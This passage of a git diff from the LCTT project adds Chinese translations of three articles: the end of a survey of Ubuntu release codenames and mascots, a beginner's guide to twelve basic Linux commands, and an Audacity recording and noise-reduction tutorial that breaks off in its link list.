Fossa ,是**马达加斯加岛上最大的食肉性哺乳动物**。它身体的长度可以达到近六英尺,其中它们的长尾巴占了一半。它们看起来就像是猫、狗和獴的杂交体。它们有细长的身体、肌肉发达的四肢和短的红棕色毛发。 + +### Ubuntu 19.10 Eoan Ermine(东方白鼬) + +![Ubuntu 19.10 mascot][7] + +于 2019 年 10 月 17 日发布。 + +Eoan 的意思是**与黎明或东方有关的**。 + +白鼬 Stoat ,也被称为欧亚貂、白令貂,简称 Ermine ,是一种原产于欧亚大陆和北美北部的鼬科动物。由于鼬在极地广泛分布,因此它被 IUCN 列为最不担忧灭绝的物种。 + +> 据维基:IUCN 将其列为世界百大外来入侵种。 + +### Ubuntu 19.04 Disco Dingo(迪斯科野犬) + +![Ubuntu 19.04 mascot][8] + +于 2019 年 4 月 18 日发布。 + +Disco 与**迪斯科**音乐和夜总会有关。 + +澳洲野犬 Dingo ,是在澳大利亚发现的一种古老的犬种。澳洲野犬的科属分类在不同出版物中不太一样,因此它的科属分类存在争议。 + +### Ubuntu 18.10 Cosmic Cuttlefish(外星墨鱼) + +![Ubuntu 18.10 mascot][9] + +于 2018 年 10 月 18 日发布。 + +Cosmic 意味着与地球**不同的**、宇宙的。 + +墨鱼 Cuttlefish ,是乌贼目的一种海洋软体动物。它属于头足类,这一类还包含了鱿鱼、章鱼和鹦鹉螺。墨鱼有一个独特的内壳,即墨鱼骨,它可以用于控制浮力。 + +### Ubuntu 18.04 LTS Bionic Beaver(仿生河狸) + +![Ubuntu 18.04 mascot][10] + +于 2018 年 4 月 26 日发布。 + +Bionic 意味着**仿生的**,或者是机电的。 + +河狸 Beaver ,是北半球温带的一种大型半水生啮齿动物。有两种现存的海狸:北美河狸和欧亚河狸。河狸是仅次于水豚的现存第二大啮齿动物。 + +> 据维基:它们处于 IUCN 哺乳动物红色名录中的无危物种,在中国河狸被列为一级保护动物。 + +英国用户认为这个版本的名称特别有趣。 + +### Ubuntu 17.10 Artful Aardvark(机灵土豚) + +![Ubuntu 17.10 mascot][11] + +于 2017 年 10 月 19 日发布。 + +Ubuntu 在此版本中默认切换回了 GNOME。 + +Artful 的意思是聪明的或**机灵的**。 + +土豚 Aardvark ,是一种原产于非洲的穴居、夜间活动的中型哺乳动物。它是管齿目中唯一的现存物种。与大多数其他食虫动物不同,它有一个长长的像猪一样的鼻子,可以闻出食物在哪里。 + +### Ubuntu 17.04 Zesty Zapus(开心跳鼠) + +![Ubuntu 17.04 mascot][12] + +于 2017 年 4 月 13 日发布。 + +这个版本是最后一个以 Unity 桌面为特色的版本。 + +Zesty 意味着有一种强烈的、**令人开心的**、有点辛辣的味道。 + +跳鼠Zapus 是北美跳鼠中唯一一个有牙齿的一个属。跳鼠是除 指猴 Aye-aye 之外,唯一现存的有 18 颗牙齿的哺乳动物。 + +### Ubuntu 16.10 Yakkety Yak(唠叨牦牛) + +![Ubuntu 16.10 mascot][13] + +于 2016 年 10 月 13 日发布。 + +Yakkety 有很多意思。OMG Ubuntu 说,“yakking” 有唠唠叨叨这一非正式意思,yakkety 还可能是一种知名的流行爵士乐器 “Yakety Sax” 的另一种拼写。 + +牦牛 Yak ,是一种大型驯养的野牛。它的毛发蓬松,肩部隆起,有很大的角。在一些地方它是一种驮畜,人们也可以食用它的奶和肉、以及加工它的皮制作东西。 + +### Ubuntu 16.04 LTS Xenial Xerus(好客地松鼠) + +![Ubuntu 16.04 mascot][14] + +于 2016 年 4 月 21 日发布。 + +Xenial 的意思是**热情好客的**。 + +非洲地松鼠 Xerus ,有四个亚种,分别是**开普地松鼠,条纹地松鼠,山地松鼠和无条纹地松鼠**。这些动物是昼行性的,是食草动物,通常吃坚果、根和种子。然而,有时它们也会吃蛋类和其他小动物。 + +### Ubuntu 15.10 Wily Werewolf(狡猾狼人) + +![Ubuntu 15.10 mascot][15] + +于 2015 年 10 月 22 日发布。 + +这个版本可能是少有的发布代号中带有虚构动物的 Ubuntu 版本之一。 + +Wily 的意思是善于获得优势,尤其在欺骗上十分**狡猾的**。 + +狼人 Werewolf ,是可以隐藏住耳朵和尾巴的一种神话生物。它是人,也是狼,大多数人因为它们的长相而害怕它们。 + +### Ubuntu 15.04 Vivid Vervet(活泼绿猴) + +![Ubuntu 15.04 mascot][16] + +于 2015 年 4 月 23 日发布。 + +Vivid 的意思是**活泼**的、明亮的。 + +黑长尾猴 Vervet monkey ,是一种原产于非洲的角猿科的旧大陆猴。“vervet”一词也用于表示绿猴属 Chlorocebus 的所有动物,其中包含五个不同的亚种,这五个不同的亚种主要分布在南部非洲以及一些东部国家。 + +### Ubuntu 14.10 Utopic Unicorn(乌托邦独角兽) + +![Ubuntu 14.10 mascot][17] + +于 2014 年 10 月 23 日发布。 + +这个版本是另一个其发布代号中带有虚构动物的 Ubuntu 版本。 + +Utopic 与**乌托邦**有关,乌托邦是一个虚构的、不存在但是一个理想的地方。 + +独角兽 Unicorn ,是一种传说中的生物。自古以来,它就被描述为前额有一个巨大的、尖的、螺旋状的角的一种野兽。 + +### Ubuntu 14.04 LTS Trusty Tahr(可靠塔尔羊) + +![Ubuntu 14.04 mascot][18] + +于 2014 年 4 月 17 日发布。 + +Trusty 意味着**可靠的**或忠实的。 + +塔尔羊 Tahr ,是一种很像山羊的哺乳动物。它们会栖息在阿曼、印度南部和喜马拉雅山脉的悬崖和山坡上。 + +### Ubuntu 13.10 Saucy Salamander(活泼蝾螈) + +![Ubuntu 13.10 mascot][19] + +于 2013 年 10 月 17 日发布。 + +Saucy 意味着大胆的、**活泼的**或精神饱满的。 + +蝾螈 Salamander 是一类两栖动物。其典型特征是有着蜥蜴般的外观,它们有细长的身体,钝的鼻子,以及与身体成直角突出的短肢,并且幼体和成体都有尾巴。现存的所有十个蝾螈科都属于有尾目。 + +### Ubuntu 13.04 Raring Ringtail(热情猫熊) + +![Ubuntu 13.04 mascot][20] + +于 2013 年 4 月 25 日发布。 + +Raring 的意思是热情的和**非常渴望做某事**。 + +猫熊 Ringtail ,是**一种像猫一样大的食肉动物,类似于一只长着浣熊尾巴的小狐狸**。它浓密的尾巴是扁平的,几乎和头部和身体一样长,有黑白交替的环。它们是夜行动物,一天中的大部分时间都在它们的巢穴里睡觉。 + +### Ubuntu 12.10 Quantal Quetzal(量子大咬鹃) + +![Ubuntu 12.10 mascot][21] + +于 2012 年 10 月 18 日发布。 + +Quantal 意味着与**量子**或量子理论有关的。 + +大咬鹃 Quetzal ,是咬鹃家族中的一种色彩鲜艳的鸟类。它们生活在森林中,主要是在潮湿的高地。来自*凤尾绿咬鹃属*的五种物种生活在新热带的,而另外一个物种,即角咬鹃,生活在墨西哥和美国最南端的局部地区。大咬鹃相当地大,它们的身体长度超过 32 厘米或者有 13 英寸长,比其他咬鹃科的物种都大。绚丽的大咬鹃因其鲜艳的色彩,而成为危地马拉的国鸟。 + +### Ubuntu 12.04 LTS Precise Pangolin(精准穿山甲) + +![Ubuntu 12.04 mascot][22] + +于 2012 年 4 月 26 日发布。 + +Precise 意味着能**精确**或准确地表达细节。 + +穿山甲 Pangolin ,有时被称为有鳞食蚁兽,是鳞甲目的一种哺乳动物。它现存的一个科是穿山甲科,有三个属:穿山甲亚属、长尾穿山甲亚属和地穿山甲亚属。穿山甲亚属包括在亚洲发现的四种物种,而长尾穿山甲亚属和地穿山甲亚属各包括两种物种,均在撒哈拉以南非洲发现。 + +> 据维基百科:2014 年,IUCN 红色名录物种存续委员会穿山甲专门小组,指出穿山甲是目前全世界最常被走私买卖的哺乳动物。所有穿山甲都面临巨大的生存威胁,其中中华穿山甲和马来穿山甲被 IUCN 评估为“极危”物种,非法走私的活动极为猖獗。随着亚洲的 4 种穿山甲数量锐减,走私贸易商家已转移目标至非洲,以满足市场上的庞大需求。 + +### Ubuntu 11.10 Oneiric Ocelot(梦幻豹猫) + +![Ubuntu 11.10 mascot][23] + +于 2011 年 10 月 13 日发布。 + +Oneiric 的意思是与**梦**有关的。 + +豹猫 Ocelot ,是一种中等大小的斑点野猫。它的肩长可达 40 至 50 厘米,体重在 8 至 15.5 公斤之间。卡尔·林奈Carl Linnaeus 于 1758 年首次在书中描述了它。 + +> 据维基:华盛顿公约将孟加拉国、印度以及泰国的豹猫族群列入附录一禁止进行国际贸易,而其他族群亦列入华盛顿公约附录二。 + +### Ubuntu 11.04 Natty Narwhal(聪明独角鲸) + +![Ubuntu 11.04 mascot][24] + +于 2011 年 4 月 28 日发布。 + +这个版本是第一个采用 Unity 桌面的版本。 + +Natty 意味着**聪明**和时尚的。 + +独角鲸 Narwhal ,是一种中等大小的齿鲸。拥有一颗突出的犬齿的大“獠牙”。它常年生活在格陵兰、加拿大和俄罗斯周围的北极水域。它是一角鲸科中现存的两种鲸鱼物种之一,另一个物种是 白鲸 Beluga whale 。 + +### Ubuntu 10.10 Maverick Meerkat(独行猫鼬) + +![Ubuntu 10.10 mascot][25] + +于 2010 年 10 月 10 日发布。 + +Maverick 的意思是**特立独行的**或有独立思想的。 + +猫鼬 Meerkat ,是一种在南部非洲发现的小型猫鼬。它的特点是头宽、眼睛大、鼻子尖、腿长、尾巴很细,毛色有斑纹。 + +### Ubuntu 10.04 LTS Lucid Lynx(清醒猞狸) + +![Ubuntu 10.04 mascot][26] + +于 2010 年 4 月 29 日发布。 + +Lucid 意味着**易于理解的**或明亮的。 + +猞猁 Lynx ,是中型野猫属猞猁中的一种。猞猁这个名字起源于中古英语,源自希腊语 λύγξ,λύγξ 又源自于印欧语词根 leuk-,指的是它眼睛能反射发光的样子。 + +### Ubuntu 9.10 Karmic Koala(幸运考拉) + +![Ubuntu 9.10 mascot][27] + +于 2009 年 10 月 29 日发布。 + +Karmic 意味着与**命运**、业力有关。 + +考拉 Koala ,是一种原产于澳大利亚的树栖草食性的有袋动物。它是袋鼠科唯一现存的物种,它的近亲是袋熊 Wombat 。 + +> 据维基:在 19 世纪初树袋熊遭到捕杀出口,数量由百万只锐减至一千多只,于是澳大利亚政府立法保护。 + +### Ubuntu 9.04 Jaunty Jackalope(自信鹿角兔) + +![Ubuntu 9.04 mascot][28] + +于 2009 年 4 月 23 日发布。 + +这个版本是我用的第一个 Ubuntu 版本。 + +Jaunty 是指拥有活泼、开朗和**自信**的态度。 + +鹿角兔 Jackalope ,是**北美民间传说中的一种神话动物**,被描述为长着羚羊角的可怕的长角兔。Jackalope 这个词是由 jackrabbit 和 antelope 组合而成的。许多鹿角兔的标本都是由用鹿角制成的。 + +### Ubuntu 8.10 Intrepid Ibex(无畏野山羊) + +![Ubuntu 8.10 mascot][29] + +于 2008 年 10 月 30 日发布。 + +Intrepid 意味着**无所畏惧**、冒险的。 + +野山羊 Ibex ,以雄性的大弯角为特征,在前面形成像横向的脊那样。它主要分布于欧亚大陆、北非和东非。 + +### Ubuntu 8.04 LTS Hardy Heron(坚韧苍鹭) + +![Ubuntu 8.04 mascot][30] + +于 2008 年 4 月 24 日发布。 + +这个版本是第一个吉祥物出现在其默认壁纸上的 Ubuntu 版本。 + +Hardy 意味着能够**忍受**困难条件的、强大的。 + +苍鹭 Heron ,是一种长腿、长颈、生活在淡水和沿海的鸟类。 + +### Ubuntu 7.10 Gutsy Gibbon(阵风长臂猿) + +![Ubuntu 7.10 mascot][31] + +于 2007 年 10 月 18 日发布。 + +Gusty 表示以**阵风**的方式吹动。 + +长臂猿 Gibbon ,是一种猿类,它们生活在孟加拉国东部、印度东北部、中国南部和印度尼西亚的亚热带和热带雨林地区。 + +### Ubuntu 7.04 Feisty Fawn(活泼小鹿) + +![Ubuntu 7.04 mascot][32] + +于 2007 年 4 月 19 日发布。 + +Feisty 意味着**小而坚定**的。 + +小鹿 Fawn ,指的是第一年刚出生的小鹿。 + +### Ubuntu 6.10 Edgy Eft(紧张水蜥) + +![Ubuntu 6.10 mascot][33] + +于 2006 年 10 月 26 日发布。 + +Edgy 的意思是**紧张的**。 + +水蜥 Eft ,是蝾螈的陆生幼年期。蝾螈是一种蜥蜴,它具有三个不同的发育生命阶段:水生幼虫、陆生幼体和成体。 + +所以水蜥指的是一个青年的蝾螈。 + +### Ubuntu 6.06 Dapper Drake(整洁公鸭) + +![Ubuntu 6.06 mascot][34] + +于 2006 年 6 月 1 日发布。 + +Dapper 的意思是衣着整洁,**外表整洁的**。 + +公鸭 Drake ,是完全性成熟的成年雄性鸭子。 + +### Ubuntu 5.10 Breezy Badger(微风之獾) + +![Ubuntu 5.10 mascot][35] + +于 2005 年 10 月 12 日发布。 + +Breezy 的意思是有**微风**的。 + + Badger ,一种是短腿的杂食动物,经常蹲下身挤在一起。 + +### Ubuntu 5.04 Hoary Hedgehog(灰白刺猬) + +![Ubuntu 5.04 mascot][36] + +于 2005 年 4 月 8 日发布。 + +Hoary 是**灰白色的**意思。 + +刺猬 Hedgehogis ,是一种多刺的哺乳动物,遍布于欧洲、亚洲和非洲的部分地区,并引入到了新西兰。 + +### Ubuntu 4.10 : Warty Warthog(有疣疣猪) + +![Ubuntu 4.10 mascot][37] + +于 2004 年 10 月 20 日发布。 + +Ubuntu 就是从这个版本开始的。 + +Wart 是由病毒引起的一种小的、坚硬的、良性的皮肤生长物。Warty 的意思是**长满疣的**。 + +疣猪 Warthog ,是猪科的一种野生动物,它是在撒哈拉以南非洲的草原、稀树草原和林地中被发现的。 + +### 总结 + +本文有没有让 Ubuntu 用户了解了更多知识呢?从技术上讲,并没有,但回顾历史是件好事。如果你多年来一直是 Ubuntu 用户,那么这篇文章可能会引发你的怀旧之情。 + +Ubuntu 9.04 是我第一次尝试 Linux 桌面。如果我没记错的话,那是在 2009 年 9 月下旬。仅仅几周后,我的系统就升级到了 Ubuntu 9.10。那些天我经常在 Ubuntu 论坛上浏览,探索这个新的操作系统,并学习新的东西。 + +那么,这篇文章有没有勾起你的一些美好的回忆呢?你的第一个 Ubuntu 版本又是哪个呢?在评论区中分享你的 Ubuntu 使用经历吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/all-Ubuntu-mascots/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/Ubuntu-default-wallpapers-download/ +[2]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-22-04-mascot.jpg +[3]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-21-10-mascot.jpg +[4]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-21-04-mascot.jpg +[5]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-20-10-mascot.jpg +[6]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-20-04-mascot-1.jpg +[7]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-19-10-mascot.jpg +[8]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-19-04-mascot.jpg +[9]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-18-10-mascot.jpg +[10]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-18-04-mascot.jpg +[11]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-17-10-mascot.jpg +[12]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-17-04-mascot.jpg +[13]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-16-10-mascot.jpg +[14]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-16-04-mascot.jpg +[15]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-15-10-mascot.jpg +[16]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-15-04-mascot.jpg +[17]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-14-10-mascot.jpg +[18]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-14-04-mascot.jpg +[19]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-13-10-mascot.jpg +[20]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-13-04-mascot.jpg +[21]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-12-10-mascot.jpg +[22]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-12-04-mascot.jpg +[23]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-11-10-mascot.jpg +[24]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-11-04-mascot.jpg +[25]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-10-10-mascot.jpg +[26]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-10-04-mascot.jpg +[27]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-9-10-mascot.jpg +[28]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-9-04-mascot.jpg +[29]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-8-10-mascot.jpg +[30]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-8-04-mascot.jpg +[31]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-7-10-mascot.jpg +[32]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-7-04-mascot.jpg +[33]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-6-10-mascot.jpg +[34]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-6-06-mascot.jpg +[35]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-5-10-mascot.jpg +[36]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-5-04-mascot.jpg +[37]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-4-10-mascot.jpg diff --git a/published/202211/20220524 12 essential Linux commands for beginners.md b/published/202211/20220524 12 essential Linux commands for beginners.md new file mode 100644 index 0000000000..ee5b742c0f --- /dev/null +++ b/published/202211/20220524 12 essential Linux commands for beginners.md @@ -0,0 +1,188 @@ +[#]: subject: "12 essential Linux commands for beginners" +[#]: via: "https://opensource.com/article/22/5/essential-linux-commands" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15215-1.html" + +12 个对新手最重要的 Linux 命令 +====== + +> 我向所有的 Linux 初学者推荐以下这些命令。 + +![](https://img.linux.net.cn/data/attachment/album/202211/05/092308plqfl6a6z0g7afx7.jpg) + +在使用 Linux 命令行时,很容易就会迷失方向,这可能会导致灾难性的后果:我有一次使用删除命令 `rm` 删除文件,然而删除之后我才意识到我刚刚是删除了计算机的引导目录。后来,我学会了使用 `pwd` 命令,来知道当前在文件系统的哪个目录下;并且我使用了 [trashy 和 trash-cli][2] 这一命令行回收站工具(LCTT 译注:在删除文件时 `trash-cli` 会充当中间人,将文件先“删除”到桌面上的垃圾箱中,能够通过垃圾箱或通过终端的 `trash` 命令,来恢复垃圾箱中已删除的文件。) + +当我刚开始使用 Linux 时,我有一个放在桌子上的“速查表”,它就是《101 条你应该知道的 Linux 命令》,我在管理 Linux 服务器时能参考速查表上面的这些命令。随着我越来越熟悉这些命令,我越来越精通服务器管理了。 + +以下是我认为最有用的 12 个 Linux 命令。 + +### 1、打印工作目录(pwd) + +`pwd` 命令会打印出你的工作目录。换句话来说,它输出你当前所在目录的路径。`pwd` 命令有两种选项:`-L` 或 `--logical`(即逻辑路径)用来打印当前的目录路径(不解析符号链接),`-P` 或 `--physial`(即物理路径)会打印出解析符号链接后的物理目录。(LCTT 译注:你可以进一步阅读我们翻译的 [另一篇文章](https://linux.cn/article-4356-1.html)。) + +### 2、创建目录(mkdir) + +使用 `mkdir` 命令来创建一个新目录,是非常容易的。以下命令,创建了一个名为 `example` 目录(若 `example` 已存在,则无法创建): + +``` +$ mkdir example +``` + +你也可以在嵌套地创建目录及其子目录: + +``` +$ mkdir -p example/one/two +``` + +如果目录 `example` 和目录 `one` 都已存在,则仅会创建目录 `two`。如果上述目录都不存在,则会创建这三个嵌套的目录。 + +### 3、列出文件(ls) + +我最早使用的是 MS-DOS(微软磁盘操作系统),因此我习惯于使用 `dir` 命令,来列出文件。我不记得当时是否能在 Linux 上使用 `dir` 命令,但是如今 `dir` 命令已经包含在 GNU 核心实用程序包GNU Core Utilities package 中了。大多数人会使用 `ls` 命令,来显示目录中的文件及其所有的属性。`ls` 命令有许多选项,包括 `-l` 查看文件的长列表,显示文件所有者和权限等信息。 + +### 4、更改当前工作目录(cd) + +在 Linux 中经常要更改当前工作目录,这就是 `cd` 命令的功能。例如,以下的示例将让你从 主目录home 进入 `Documents` 目录: + +``` +$ cd Documents +``` + +你可以使用 `cd ~` 或者 `cd`,来快速转换到你的主目录。你可以使用 `cd ..` 来返回到上一级目录。 + +### 5、删除文件(rm) + +删除文件是很危险的,因为在 Linux 终端上用 `rm` 命令会**彻底地**删除文件,并没有像桌面的垃圾桶那样依旧保存着删除的文件。许多终端用户有一个坏习惯,他们会永久地删除他们认为不再需要的文件。然而,因为没有“取消删除”命令,这个坏习惯可能会导致严重的问题:你会不小心删除了包含重要数据的目录。 + +Linux 系统为文件删除提供了 `rm` 和 `shred` 命令。要删除文件 `example.txt`,请输入以下内容: + +``` +$ rm example.txt +``` + +然而,使用 `trash` 命令要安全得多,例如 [trashy][3] 或者 [trash-cli][4],它会将文件先“删除”到桌面上的垃圾箱中: + +``` +$ trash example.txt +``` + +(LCTT 译注:关于 Trash-Cli 的更多信息可以参考我们翻译的 [另一篇文章](https://linux.cn/article-10029-1.html)。) + +### 6、复制文件(cp) + +使用 `cp` 命令,来复制文件。`cp` 的语法是从*旧文件*复制到*新文件*。这里有一个例子: + +``` +$ cp file1.txt newfile1.txt +``` + +你也可以复制整个目录: + +``` +$ cp -r dir1 newdirectory +``` + +### 7、移动并重命名文件(mv) + +重命名和移动文件在功能上是相同的过程。当你移动文件时,从一个目录中取出一个文件,并将其放入一个新目录中;当你重命名文件时,将一个目录中的文件更改为新名称,并放回到同一目录或另一个目录下。无论是重命名还是移动文件,你都可以使用 `mv` 命令: + +``` +$ mv file1.txt file_001.txt +``` + +### 8、创建一个空文件(touch) + +使用 `touch` 命令可以简单地创建一个空文件: + +``` +$ touch one.txt + +$ touch two.txt + +$ touch three.md +``` + +### 9、更改权限(chmod) + +使用 `chmod` 命令,来更改文件的权限。`chmod` 最常见的用途是让文件能够执行: + +``` +$ chmod +x myfile +``` + +以下的示例展示了如何用 `chmod` 命令给文件赋予权限,这对于脚本来说特别方便。尝试一下这个简单的练习吧: + +``` +$ echo 'echo Hello $USER' > hello.sh + +$ chmod +x hello.sh + +$ ./hello.sh +Hello, Don +``` + +### 10、提升为 root 权限(sudo) + +在管理自己的 Linux 系统时,可能需要提升为超级用户(也称为 root),这就是 `sudo`(即 以超级用户做super user do)命令的来源。假设你想要做一些只有管理员(或 root 用户)才能做的事情,只需在命令前加一个 `sudo` 即可: + +``` +$ touch /etc/os-release && echo "Success" +touch: cannot touch '/etc/os-release': Permission denied + +$ sudo touch /etc/os-release && echo "Success" +Success +``` + +### 11、关机(poweroff) + +`poweroff` 命令的功能和它的字面意思一样:把你的计算机关机。需要在 `poweroff` 前面加一个 `sudo` 才能成功关机。 + +实际上,还有很多方法可以关闭你的计算机,这些方法有略微的不同。例如,`shutdown` 命令会在指定的时间(例如 60 秒)后关闭计算机: + +``` +$ sudo shutdown -h 60 +``` + +或者立即关闭计算机: + +``` +$ sudo shutdown -h now +``` + +你也可以用 `sudo shutdown -r now` 或者 `reboot` 来重启计算机。 + +### 12、阅读手册(man) + +`man` 命令可能是 Linux 中最重要的命令了,你可以通过 `man` 命令查看 Linux 系统上每个命令的官方文档。例如,要阅读更多有关 `mkdir` 的信息,可以输入: + +``` +$ man mkdir +``` + +一个与 `man` 相关的命令是 `info` 命令,它提供了一组不同的手册,它通常会提供比简洁的 `man` 页面更详细一点的内容。 + +### 你最喜欢的 Linux 命令是什么? + +Linux 系统上还有数百个其他命令!你最喜欢使用的 Linux 命令是什么呢?什么命令是你一直反复使用的呢? + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/essential-linux-commands + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/command_line_prompt.png +[2]: https://www.redhat.com/sysadmin/recover-file-deletion-linux +[3]: https://gitlab.com/trashy/trashy +[4]: https://github.com/andreafrancia/trash-cli diff --git a/published/202211/20220814 How to Record Audio in Linux With Audacity -and Reduce Noise-.md b/published/202211/20220814 How to Record Audio in Linux With Audacity -and Reduce Noise-.md new file mode 100644 index 0000000000..2f52b58b26 --- /dev/null +++ b/published/202211/20220814 How to Record Audio in Linux With Audacity -and Reduce Noise-.md @@ -0,0 +1,135 @@ +[#]: subject: "How to Record Audio in Linux With Audacity (and Reduce Noise)" +[#]: via: "https://itsfoss.com/audacity-recording/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "FYJNEVERFOLLOWS" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15284-1.html" + +如何在 Linux 中使用 Audacity 录制音频(并降噪) +====== + +![][0] + +[Audacity][1] 是一个自由开源的跨平台 [音频编辑器][2]。专业人士使用它是因为它提供的功能仅需安装很小的软件包。 + +你不必成为一名专业人士并使用它的所有功能。你可以使用它从麦克风录制音频,并执行一些基本操作,如背景噪声消除。 + +我将在本教程中向你展示如何做到这一点。 + +### 在 Linux 上安装 Audacity + +在 Linux 上安装 Audacity 是一个非常简单的过程。由于其受欢迎,可以在大多数 Linux 发行版的官方存储库中找到它。 + +你可以在发行版的软件中心或软件包管理器中搜索它。 + +作为一个终端爱好者,让我分享一下常见发行版的命令。 + +对于基于 Debian 或 Ubuntu 的发行版: + +``` +sudo apt install audacity +``` + +对于基于 RHEL 或 Fedora 的发行版: + +``` +sudo dnf install audacity +``` + +如果你在用基于 Arch 的发行版: + +``` +sudo pacman -Syu audacity +``` + +**注意**,通过官方存储库安装可能无法获得 [最新版本][3]。要获得最新版本,你可以使用 AppImage 或 Flatpak/Snap 软件包。 + +### 使用 Audacity 录制音频 + +安装 Audacity 后,从应用程序菜单打开它或从终端启动它。你会看到这样的界面: + +![Audacity Interface][4] + +单击“录制”按钮(红点)即可轻松开始录制。完成后,单击“ +停止”按钮(方形图标)来结束录制。你还可以预览录制的波形,如下所示: + +![record audio with audacity][5] + +然后,你可以通过单击“播放”按钮(绿色图标)检查录制的内容。 + +如果你没有看到任何波形,则表示未录制到任何内容。很可能,你没有正确设置音频输入。确保你选择了正确的麦克风,并确保在“系统设置system settings”中其未被静音。你也可以通过 Audacity 接口设置。 + +录音不会自动保存为 MP3 或其他格式。**要保存录音**,你可以转到 “文件File导出Export” 并选择 “导出为 MP3Export as MP3”(或任何其他想要的格式)。 + +### 使用 Audacity 降低背景噪声 + +Audacity 还有另一个很棒的功能,你可以使用它来减少录制音频中的白噪声。 + +最好的做法是在开始使用 Audacity 录制时的前五秒不要说任何话。这将为你提供所需的背景噪声。 + +在录制音频的波形上,选择你认为是背景噪声的部分。 + +![Background noise][6] + +选择噪声部分后,从顶部文件菜单中转到 “效果Effects降低噪音Noise Reduction”。 + +它会像这样打开一个弹出窗口。单击此处的 “获取噪音配置文件Get Noise Profile”。 + +![Noise Reduction Effect Popup Window][7] + +现在,你已经设置了噪声配置文件。现在,你必须使用它来减少录音中的噪声。 + +按 `Ctrl + A` 快捷键选择整段录音。你也可以选择其中的一部分,仅对所选部分减少噪声。 + +选择音轨后,再次转到 “效果Effects降低噪音Noise Reduction”。 + +**这次不要单击** “获取噪音配置文件Get Noise Profile”。这一次,你应该能够按下 “OK” 按钮。 + +只需按下 “OK” 按钮,即可将降噪效果应用到录音中,并反映在波形上,如下所示: + +![Audio Waveform after Noise Reduction][8] + +现在,相较而言,录制的音频将具有更少的噪声。你可以在选择 “降低噪音Noise Reduction” 效果时微调噪声过滤。 + +总结如下: + +* 选择噪声部分,转到 “效果Effects降低噪音Noise Reduction”,然后单击 “获取噪音配置文件Get Noise Profile” +* 按 `Ctrl + A` 选择整段音频录制,转到 “效果Effects降低噪音Noise Reduction”,这次按 `OK` 按钮 + +请注意,你无法移除所有类型的噪声,但这应该会有所帮助。 + +### Audacity 能做更多事情 + +使用 Audacity 录制音频可能不像使用 GNOME 录音机那样简单,但它并不太复杂。如果你正在录制画外音,降噪功能将非常有用。 + +Audacity 有更多其他功能,不可能在一个教程中涵盖所有这些功能。这就是为什么我会保持简短的原因。 + +如果你不能接受 2021 年的 [Audacity 的隐私政策调整][9],试试其他可用的工具。 + +我希望这个小教程能帮助你使用 Audacity 进行音频录制。如果你有问题或建议,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/audacity-recording/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://github.com/audacity/audacity +[2]: https://itsfoss.com/best-audio-editors-linux/ +[3]: https://github.com/audacity/audacity/releases +[4]: https://itsfoss.com/wp-content/uploads/2022/08/audacity-interface.png +[5]: 